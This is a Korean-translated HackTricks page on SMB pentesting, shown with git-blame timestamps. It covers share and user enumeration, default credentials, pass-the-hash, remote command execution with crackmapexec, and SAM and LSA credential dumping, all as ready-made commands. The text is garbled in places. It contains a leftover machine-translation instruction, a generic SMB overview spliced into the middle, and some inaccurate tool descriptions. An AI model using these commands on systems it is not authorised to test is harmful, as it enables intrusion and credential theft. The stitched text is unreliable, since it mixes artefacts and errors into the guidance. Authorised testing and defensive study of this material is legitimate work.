hacktricks/network-services-pentesting/pentesting-smb.md

653 lines
36 KiB
Markdown
Raw Normal View History

2024-02-10 21:30:13 +00:00
# 139,445 - SMB Pentesting
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 21:30:13 +00:00
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2024-01-02 18:28:27 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 기교를 공유**하세요.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 21:30:13 +00:00
## **포트 139**
2024-02-10 21:30:13 +00:00
**_네트워크 기본 입출력 시스템_ (NetBIOS)**은 로컬 영역 네트워크 (LAN) 내의 응용 프로그램, PC 및 데스크톱이 네트워크 하드웨어와 상호 작용하고 **데이터를 네트워크 전송을 용이하게 하는** 소프트웨어 프로토콜입니다. NetBIOS 네트워크에서 작동하는 소프트웨어 응용 프로그램의 식별 및 위치는 NetBIOS 이름을 통해 이루어지며, 이는 최대 16자까지이며 컴퓨터 이름과는 다른 경우가 많습니다. 두 응용 프로그램 간의 NetBIOS 세션은 한 응용 프로그램 (클라이언트로 작동)이 다른 응용 프로그램 (서버로 작동)을 "호출"하는 명령을 발행할 때 **TCP 포트 139**를 사용하여 시작됩니다.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
2024-02-10 21:30:13 +00:00
## 포트 445
2024-02-10 21:30:13 +00:00
기술적으로, 포트 139는 'NBT over IP'로 알려져 있으며, 포트 445는 'SMB over IP'로 식별됩니다. 약어 **SMB**는 '**Server Message Blocks**'를 의미하며, 현대적으로는 **Common Internet File System (CIFS)**로 알려져 있습니다. 응용 계층 네트워크 프로토콜인 SMB/CIFS는 주로 파일, 프린터, 직렬 포트에 대한 공유 액세스를 가능하게 하고 네트워크 상의 노드 간 다양한 형태의 통신을 용이하게 합니다.
2024-02-10 21:30:13 +00:00
예를 들어, Windows의 경우, SMB는 포트 445를 사용하여 NetBIOS over TCP/IP의 필요성을 제거하고 TCP/IP 상에서 직접 작동할 수 있음을 강조합니다. 반면, 다른 시스템에서는 포트 139의 사용이 관찰되며, 이는 SMB가 NetBIOS over TCP/IP와 함께 실행되고 있음을 나타냅니다.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
2022-10-02 19:15:35 +00:00
### SMB
2024-02-10 21:30:13 +00:00
**서버 메시지 블록 (SMB)** 프로토콜은 **클라이언트-서버** 모델로 작동하며, **파일**, **디렉토리**, 프린터 및 라우터와 같은 기타 네트워크 리소스에 대한 **액세스를 제어**하기 위해 설계되었습니다. 주로 **Windows** 운영 체제 시리즈에서 사용되며, SMB는 역호환성을 보장하여 Microsoft의 최신 운영 체제를 실행하는 장치가 이전 버전을 실행하는 장치와 원활하게 상호 작용할 수 있도록 합니다. 또한 **Samba** 프로젝트는 무료 소프트웨어 솔루션을 제공하여 SMB를 **Linux** 및 Unix 시스템에 구현할 수 있도록 하여 SMB를 통한 크로스 플랫폼 통신을 용이하게 합니다.
2022-10-02 19:15:35 +00:00
2024-02-10 21:30:13 +00:00
SMB 서버는 **로컬 파일 시스템의 임의의 부분**을 나타내는 공유를 제공할 수 있으며, 이를 통해 클라이언트는 서버의 실제 구조와 **독립적으로** 일부 계층을 볼 수 있습니다. **액세스 제어 목록 (ACL)**은 **액세스 권한**을 정의하며, **`실행`**, **`읽기`**, **`전체 액세스`**와 같은 속성을 포함하여 사용자 권한에 대한 **세밀한 제어**를 가능하게 합니다. 이러한 권한은 공유를 기반으로 개별 사용자 또는 그룹에 할당될 수 있으며, 서버에 설정된 로컬 권한과 구분됩니다.
2022-10-02 19:15:35 +00:00
2024-02-10 21:30:13 +00:00
### IPC$ 공유
2024-02-10 21:30:13 +00:00
IPC$ 공유에 대한 액세스는 익명의 널 세션을 통해 얻을 수 있으며, 이를 통해 명명된 파이프를 통해 노출된 서비스와 상호 작용할 수 있습니다. 이를 위해 `enum4linux` 유틸리티를 사용할 수 있습니다. 올바르게 사용하면 다음을 획득할 수 있습니다:
2024-02-10 21:30:13 +00:00
- 운영 체제에 대한 정보
- 상위 도메인에 대한 세부 정보
- 로컬 사용자 및 그룹의 컴파일
- 사용 가능한 SMB 공유에 대한 정보
- 유효한 시스템 보안 정책
2024-02-05 02:28:59 +00:00
2024-02-10 21:30:13 +00:00
이 기능은 네트워크 관리자와 보안 전문가가 네트워크의 SMB (서버 메시지 블록) 서비스의 보안 상태를 평가하는 데 중요합니다. `enum4linux`는 대상 시스템의 SMB 환경을 포괄적으로 보여주므로 잠재적인 취약점을 식별하고 SMB 서비스가 적절하게 보호되었는지 확인하는 데 필수적입니다.
2024-02-05 02:28:59 +00:00
```bash
enum4linux -a target_ip
```
2024-02-10 21:30:13 +00:00
위의 명령은 `enum4linux``target_ip`로 지정된 대상에 대해 완전한 열거를 수행하는 방법의 예입니다.
2024-02-10 21:30:13 +00:00
## NTLM이란
2024-02-10 21:30:13 +00:00
NTLM이 무엇인지 모르거나 이 프로토콜이 어떻게 작동하며 어떻게 악용할 수 있는지 알고 싶다면, **NTLM에 대한 이 페이지**를 읽으면 매우 흥미로울 것입니다. 이 페이지에서는 **이 프로토콜이 어떻게 작동하며 어떻게 이를 활용할 수 있는지 설명되어 있습니다**:
2022-10-04 23:49:59 +00:00
{% content-ref url="../windows-hardening/ntlm/" %}
[ntlm](../windows-hardening/ntlm/)
{% endcontent-ref %}
2024-02-10 21:30:13 +00:00
## **서버 열거**
2024-02-10 21:30:13 +00:00
### **네트워크를 스캔하여** 호스트를 검색합니다:
```bash
nbtscan -r 192.168.0.1/24
```
2024-02-10 21:30:13 +00:00
### SMB 서버 버전
2024-02-10 21:30:13 +00:00
SMB 버전에 대한 가능한 취약점을 찾기 위해서는 사용 중인 버전을 알아야 합니다. 만약 이 정보가 다른 도구에서 나타나지 않는다면, 다음을 사용할 수 있습니다:
2024-02-10 21:30:13 +00:00
* **MSF** 보조 모듈인 \_**auxiliary/scanner/smb/smb\_version**을 사용합니다.
* 또는 다음 스크립트를 사용합니다:
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
2024-02-10 21:30:13 +00:00
### **Exploit 검색**
To find exploits for specific vulnerabilities in the SMB (Server Message Block) protocol, you can use various online resources and databases. These resources provide a collection of known exploits that can be used to target vulnerable SMB implementations.
2024-02-10 21:30:13 +00:00
Here are some popular websites and databases where you can search for SMB exploits:
2024-02-10 21:30:13 +00:00
- Exploit-DB: A comprehensive database of exploits and vulnerabilities.
- Metasploit Framework: A powerful tool that includes a vast collection of exploits.
- GitHub: A platform where developers share code, including exploits.
- Rapid7 Vulnerability Database: A database that provides information on vulnerabilities and associated exploits.
- NVD (National Vulnerability Database): A U.S. government-funded database that contains information on vulnerabilities and their associated exploits.
When searching for SMB exploits, it is important to specify the version of the SMB protocol you are targeting, as different versions may have different vulnerabilities. Additionally, consider the specific operating system and software versions you are testing, as this information can help narrow down the search results.
Remember to always use exploits responsibly and with proper authorization, such as during authorized penetration testing engagements.
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
2024-02-10 21:30:13 +00:00
### **가능한** 자격 증명
2024-02-10 21:30:13 +00:00
| **사용자 이름** | **일반적인 암호** |
| -------------------- | ----------------------------------------- |
2024-02-10 21:30:13 +00:00
| _(공백)_ | _(공백)_ |
| guest | _(공백)_ |
| Administrator, admin | _(공백)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
2024-02-10 21:30:13 +00:00
### 무차별 대입 공격
2024-02-10 21:30:13 +00:00
* [**SMB 무차별 대입 공격**](../generic-methodologies-and-resources/brute-force.md#smb)
2024-02-10 21:30:13 +00:00
### SMB 환경 정보
2024-02-10 21:30:13 +00:00
### 정보 획득
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
2021-06-16 12:07:22 +00:00
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
2020-12-22 11:59:42 +00:00
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
2022-11-26 22:36:18 +00:00
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
2024-02-10 21:30:13 +00:00
### 사용자, 그룹 및 로그인한 사용자 열거
2024-02-10 21:30:13 +00:00
이 정보는 이미 enum4linux와 enum4linux-ng에서 수집되어야 합니다.
2023-08-08 09:05:26 +00:00
```bash
2022-10-04 23:49:59 +00:00
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
2022-10-04 21:36:29 +00:00
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
2022-10-04 21:36:29 +00:00
rpcclient -U "" -N 10.10.10.10
enumdomusers
2022-10-04 23:49:59 +00:00
enumdomgroups
2023-08-08 09:05:26 +00:00
```
2024-02-10 21:30:13 +00:00
### 로컬 사용자 열거
2023-08-08 09:05:26 +00:00
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
2022-10-04 23:49:59 +00:00
lookupsid.py -no-pass hostname.local
2023-08-08 09:05:26 +00:00
```
2024-02-10 21:30:13 +00:00
다음은 SMB(Samba) 서비스에 대한 펜테스팅 기술에 관한 내용입니다. 이 내용은 /hive/hacktricks/network-services-pentesting/pentesting-smb.md 파일에서 가져온 것입니다. 관련된 영어 텍스트를 한국어로 번역하고, 번역된 내용을 동일한 마크다운 및 HTML 구문으로 반환하십시오. 코드, 해킹 기술 이름, 해킹 관련 용어, 클라우드/SaaS 플랫폼 이름(예: Workspace, aws, gcp...) 및 'leak', pentesting, 마크다운 태그와 같은 요소는 번역하지 마십시오. 또한 번역 및 마크다운 구문 외에는 추가적인 내용을 추가하지 마십시오.
2023-08-08 09:05:26 +00:00
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
2024-02-10 21:30:13 +00:00
### Metasploit - 로컬 사용자 열거
Metasploit은 강력한 해킹 도구로, 로컬 사용자를 열거하는 데 사용될 수 있습니다. 이 기능을 사용하면 대상 시스템에 로그인된 사용자의 목록을 얻을 수 있습니다.
```plaintext
use auxiliary/scanner/smb/smb_enumusers
set RHOSTS <target IP>
run
```
2023-08-08 09:05:26 +00:00
2024-02-10 21:30:13 +00:00
위의 Metasploit 명령어를 사용하여 smb_enumusers 모듈을 활용하면 대상 시스템에서 로그인된 사용자의 목록을 얻을 수 있습니다. `<target IP>`를 대상 시스템의 IP 주소로 대체해야 합니다.
2024-02-10 21:30:13 +00:00
이 명령을 실행하면 Metasploit은 대상 시스템에 대한 SMB 연결을 시도하고, 로그인된 사용자의 목록을 열거합니다. 이 정보는 시스템에 대한 권한 상태를 평가하고, 추가적인 공격 벡터를 식별하는 데 도움이 될 수 있습니다.
```bash
2022-10-04 23:49:59 +00:00
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
2022-10-04 21:36:29 +00:00
```
2024-02-10 21:30:13 +00:00
### **LSARPC 및 SAMR rpcclient 열거**
2022-10-04 23:18:19 +00:00
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
2022-10-04 21:36:29 +00:00
{% endcontent-ref %}
2024-02-10 21:30:13 +00:00
### 리눅스에서 GUI 연결
2021-02-02 09:11:43 +00:00
2024-02-10 21:30:13 +00:00
#### 터미널에서:
2021-02-02 09:11:43 +00:00
`xdg-open smb://cascade.htb/`
2024-02-10 21:30:13 +00:00
#### 파일 브라우저 창에서 (nautilus, thunar 등)
2021-02-02 09:11:43 +00:00
`smb://friendzone.htb/general/`
2024-02-10 21:30:13 +00:00
## 공유 폴더 열거
2022-10-04 23:49:59 +00:00
2024-02-10 21:30:13 +00:00
### 공유 폴더 목록
2024-02-10 21:30:13 +00:00
언제나 무언가에 접근할 수 있는지 확인하는 것이 좋습니다. 자격 증명이 없다면 **null** **자격 증명/게스트 사용자**를 사용해보세요.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
2022-10-04 23:49:59 +00:00
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
2022-10-04 23:49:59 +00:00
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
2020-09-20 21:41:33 +00:00
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
2024-02-10 21:30:13 +00:00
### **공유 폴더 연결/목록 표시**
To connect to a shared folder on a remote server, you can use the `net use` command in Windows or the `mount` command in Linux.
#### **Windows**
To connect to a shared folder in Windows, use the following command:
```
net use <drive-letter>: \\server\share /user:<username> <password>
```
Replace `<drive-letter>` with the desired drive letter to assign to the shared folder. Replace `\\server\share` with the UNC path of the shared folder you want to connect to. Finally, replace `<username>` and `<password>` with valid credentials to access the shared folder.
#### **Linux**
To connect to a shared folder in Linux, use the following command:
```
mount -t cifs //<server>/<share> <mount-point> -o username=<username>,password=<password>
```
2024-02-10 21:30:13 +00:00
Replace `<server>` with the IP address or hostname of the server hosting the shared folder. Replace `<share>` with the name of the shared folder. Replace `<mount-point>` with the directory where you want to mount the shared folder. Finally, replace `<username>` and `<password>` with valid credentials to access the shared folder.
2024-02-10 21:30:13 +00:00
After executing the command, you should be able to access the shared folder through the assigned drive letter or mounted directory.
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
2024-02-10 21:30:13 +00:00
### **윈도우 공유를 수동으로 열거하고 연결하기**
2024-02-10 21:30:13 +00:00
호스트 머신의 공유를 표시하는 것이 제한되어 있을 수 있으며, 공유를 나열하려고 시도하면 연결할 수 있는 공유가 없는 것처럼 보일 수 있습니다. 따라서 공유에 수동으로 연결해 보는 것이 좋을 수 있습니다. 공유를 수동으로 열거하려면 유효한 세션(예: 널 세션 또는 유효한 자격 증명)을 사용할 때 NT\_STATUS\_ACCESS\_DENIED 및 NT\_STATUS\_BAD\_NETWORK\_NAME과 같은 응답을 찾아볼 수 있습니다. 이러한 응답은 공유가 존재하고 액세스할 수 없는 경우 또는 공유가 전혀 존재하지 않는 경우를 나타낼 수 있습니다.
2024-02-10 21:30:13 +00:00
윈도우 대상의 일반적인 공유 이름은 다음과 같습니다.
* C$
* D$
* ADMIN$
* IPC$
* PRINT$
* FAX$
* SYSVOL
* NETLOGON
2024-02-10 21:30:13 +00:00
(_**Network Security Assessment 3rd edition**_에서 가져온 일반적인 공유 이름)
2024-02-10 21:30:13 +00:00
다음 명령을 사용하여 이러한 공유에 연결을 시도할 수 있습니다.
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
2024-02-10 21:30:13 +00:00
또는 이 스크립트 (null 세션을 사용하여)
```bash
#/bin/bash
2020-08-28 16:23:05 +00:00
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
2024-02-10 21:30:13 +00:00
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
2024-02-10 21:30:13 +00:00
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
2024-02-10 21:30:13 +00:00
예시들
## SMB (Server Message Block)
SMB는 네트워크 파일 공유 및 프린터 공유를 위한 프로토콜입니다. SMB 프로토콜은 주로 Windows 운영 체제에서 사용되며, 클라이언트와 서버 간에 파일 및 리소스를 공유하는 데 사용됩니다.
### SMB 버전 확인
SMB 버전을 확인하는 것은 SMB 서비스에 대한 초기 정보 수집 단계입니다. 다양한 SMB 버전에는 다른 취약점과 취약한 설정이 있을 수 있으므로, 버전을 확인하는 것은 중요합니다.
#### Nmap을 사용한 SMB 버전 확인
Nmap은 네트워크 스캐닝 도구로, SMB 서비스의 버전을 확인하는 데 사용할 수 있습니다. 다음 명령을 사용하여 SMB 버전을 확인할 수 있습니다.
```plaintext
nmap -p 445 --script smb-protocols <target>
```
2024-02-10 21:30:13 +00:00
### SMB 취약점 분석
2024-02-10 21:30:13 +00:00
SMB 서비스는 다양한 취약점을 가지고 있을 수 있습니다. 이러한 취약점을 이용하여 시스템에 접근하거나 권한 상승을 수행할 수 있습니다.
#### Null 세션
Null 세션은 SMB 서비스에서 인증 없이 연결하는 것을 의미합니다. Null 세션을 통해 시스템 정보를 수집하거나 공격을 수행할 수 있습니다.
#### SMB 취약한 버전
일부 SMB 버전은 취약한 설정을 가지고 있을 수 있습니다. 이러한 취약점을 이용하여 시스템에 접근하거나 권한 상승을 수행할 수 있습니다.
#### SMB 취약한 인증
SMB 서비스는 취약한 인증 메커니즘을 가지고 있을 수 있습니다. 이러한 취약점을 이용하여 인증을 우회하거나 권한 상승을 수행할 수 있습니다.
### SMB 해킹 도구
SMB 해킹을 위해 다양한 도구와 프레임워크를 사용할 수 있습니다. 이러한 도구는 SMB 서비스에 대한 취약점을 검사하고 공격을 수행하는 데 도움이 됩니다.
#### Metasploit Framework
Metasploit Framework는 다양한 취약점을 검사하고 공격하는 데 사용되는 강력한 도구입니다. Metasploit은 SMB 서비스에 대한 다양한 모듈을 제공하여 취약점을 이용할 수 있습니다.
#### Impacket
Impacket은 Python으로 작성된 네트워크 프로토콜 라이브러리로, SMB 서비스에 대한 다양한 기능을 제공합니다. Impacket을 사용하여 SMB 서비스에 대한 공격을 수행할 수 있습니다.
#### CrackMapExec
CrackMapExec은 SMB 서비스에 대한 공격을 자동화하는 데 사용되는 도구입니다. 이 도구를 사용하여 SMB 서비스에 대한 취약점을 검사하고 권한 상승을 수행할 수 있습니다.
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
2024-02-10 21:30:13 +00:00
### **Windows에서 공유 목록 열거하기 / 타사 도구 없이**
2024-02-10 21:30:13 +00:00
PowerShell을 사용하여 Windows에서 공유 목록을 열거할 수 있습니다.
```powershell
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
2024-02-10 21:30:13 +00:00
CMD 콘솔
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
2024-02-10 21:30:13 +00:00
MMC 스냅인 (그래픽)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
2024-02-10 21:30:13 +00:00
explorer.exe (그래픽), `\\<ip>\`를 입력하여 숨겨지지 않은 공유 폴더를 확인하세요.
2024-02-10 21:30:13 +00:00
### 공유 폴더 마운트하기
```bash
2020-11-28 15:52:16 +00:00
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
2024-02-10 21:30:13 +00:00
### **파일 다운로드**
2024-02-10 21:30:13 +00:00
이전 섹션을 읽어 자격 증명/Pass-the-Hash를 사용하여 연결하는 방법을 배워보세요.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
```
```bash
#Download all
smbclient //<IP>/<share>
2020-09-03 15:27:18 +00:00
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
```
2024-02-10 21:30:13 +00:00
명령어:
2020-09-07 11:12:11 +00:00
2024-02-10 21:30:13 +00:00
* mask: 디렉토리 내의 파일을 필터링하는 데 사용되는 마스크를 지정합니다 (예: ""는 모든 파일을 의미합니다)
* recurse: 재귀를 켜거나 끕니다 (기본값: 끔)
* prompt: 파일 이름에 대한 프롬프트를 켜거나 끕니다 (기본값: 켬)
* mget: 호스트에서 클라이언트 머신으로 마스크와 일치하는 모든 파일을 복사합니다
2020-09-04 19:46:12 +00:00
2024-02-10 21:30:13 +00:00
(_smbclient의 매뉴얼에서 얻은 정보_)
2024-02-10 21:30:13 +00:00
### 도메인 공유 폴더 검색
2020-12-22 15:40:31 +00:00
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
2022-10-05 00:11:28 +00:00
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
2024-02-10 21:30:13 +00:00
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) 스파이더.
* `-M spider_plus [--share <share_name>]`
* `--pattern txt`
2020-12-22 15:40:31 +00:00
```bash
2022-10-04 23:49:59 +00:00
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
2020-12-22 15:40:31 +00:00
```
2024-02-10 21:30:13 +00:00
공유에서 특히 흥미로운 파일은 **`Registry.xml`**이라고 불리며, 이 파일에는 그룹 정책을 통해 **자동 로그온**이 구성된 사용자의 **비밀번호**가 포함될 수 있습니다. 또는 **`web.config`** 파일에는 자격 증명이 포함되어 있습니다.
2022-10-05 23:14:39 +00:00
{% hint style="info" %}
2024-02-10 21:30:13 +00:00
**SYSVOL 공유**는 도메인의 모든 인증된 사용자가 **읽을 수 있습니다**. 여기에는 다양한 배치, VBScript 및 PowerShell **스크립트**가 포함될 수 있습니다.\
내부의 **스크립트**를 **확인**해야 합니다. 그곳에서 **비밀번호**와 같은 민감한 정보를 **찾을 수 있습니다**.
2022-10-05 23:14:39 +00:00
{% endhint %}
2024-02-10 21:30:13 +00:00
## 레지스트리 읽기
2021-05-10 16:48:27 +00:00
2024-02-10 21:30:13 +00:00
발견한 일부 자격 증명을 사용하여 **레지스트리를 읽을 수**도 있습니다. Impacket의 **`reg.py`**를 사용하여 시도할 수 있습니다:
2022-10-04 23:49:59 +00:00
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
2021-05-10 16:48:27 +00:00
```
2024-02-10 21:30:13 +00:00
## 포스트 익스플로이테이션
2021-05-10 16:48:27 +00:00
2024-02-10 21:30:13 +00:00
**Samba** 서버의 **기본 설정**은 일반적으로 `/etc/samba/smb.conf`에 위치하며 몇 가지 **위험한 설정**이 있을 수 있습니다:
2022-10-02 19:15:35 +00:00
2024-02-10 21:30:13 +00:00
| **설정** | **설명** |
| --------------------------- | ----------------------------------------------------------------- |
| `browseable = yes` | 현재 공유에서 사용 가능한 공유 목록을 허용합니까? |
| `read only = no` | 파일의 생성 및 수정을 금지합니까? |
| `writable = yes` | 사용자가 파일을 생성하고 수정할 수 있습니까? |
| `guest ok = yes` | 비밀번호를 사용하지 않고 서비스에 연결을 허용합니까? |
| `enable privileges = yes` | 특정 SID에 할당된 권한을 존중합니까? |
| `create mask = 0777` | 새로 생성된 파일에 할당해야 하는 권한은 무엇입니까? |
| `directory mask = 0777` | 새로 생성된 디렉토리에 할당해야 하는 권한은 무엇입니까? |
| `logon script = script.sh` | 사용자 로그인 시 실행해야 하는 스크립트는 무엇입니까? |
| `magic script = script.sh` | 스크립트가 닫힐 때 실행해야 하는 스크립트는 무엇입니까? |
| `magic output = script.out` | 마법 스크립트의 출력을 저장해야 하는 위치는 어디입니까? |
2022-10-02 19:15:35 +00:00
2024-02-10 21:30:13 +00:00
`smbstatus` 명령은 **서버**와 **연결된 사용자**에 대한 정보를 제공합니다.
2022-10-02 19:15:35 +00:00
2024-02-10 21:30:13 +00:00
## Kerberos를 사용하여 인증하기
2024-02-10 21:30:13 +00:00
**smbclient**와 **rpcclient** 도구를 사용하여 **Kerberos**에 **인증**할 수 있습니다:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
2024-02-10 21:30:13 +00:00
## **명령 실행**
2022-05-01 13:25:53 +00:00
### **crackmapexec**
2024-02-10 21:30:13 +00:00
crackmapexec은 **mmcexec, smbexec, atexec, wmiexec** 중 하나를 **남용하여** 명령을 실행할 수 있습니다. **wmiexec**이 기본 메서드입니다. `--exec-method` 매개변수를 사용하여 선호하는 옵션을 지정할 수 있습니다.
```bash
apt-get install crackmapexec
2020-09-20 21:41:33 +00:00
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
